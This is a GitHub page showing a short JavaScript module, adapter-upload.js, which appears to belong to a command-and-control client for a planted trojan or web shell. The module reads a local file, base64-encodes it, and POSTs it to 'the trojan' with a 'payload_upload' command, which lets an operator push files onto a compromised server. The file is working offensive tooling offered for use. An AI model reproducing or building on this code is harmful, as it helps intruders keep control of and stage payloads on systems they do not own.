-
Notifications
You must be signed in to change notification settings - Fork 59
/
adapter-upload.js
51 lines (41 loc) · 1.18 KB
/
adapter-upload.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const errors = require('./util-http-error');
const fs = require('fs');
const path = require('path');
const shellwords = require('shellwords');
module.exports = function(config, req, cmd, callback) {
// tokenize the input string
const tokenized = shellwords.split(cmd);
const src = tokenized[1] || '';
const dst = tokenized[2] || path.basename(src);
// assert that src was provided
if (src === '') {
// assemble an error message
var err = [
'Specify a file to upload.',
'Usage: upload <local-filename> [<remote-filename>]'
].join('\n');
return callback(new Error(err));
}
// read the file data
var data;
try {
data = new Buffer(fs.readFileSync(src)).toString('base64');
} catch (e) {
return callback(new Error([ 'Cannot upload file.', e ].join('\n')));
}
// initialize the POST body
const body = {
cmd : 'payload_upload',
args : {
dst : dst,
data : data,
},
};
// POST to the trojan
req.post({ body : body }, function(err, obj, response) {
if (obj.statusCode !== 200) {
return callback(errors(config, obj.statusCode));
}
callback(err, response);
});
};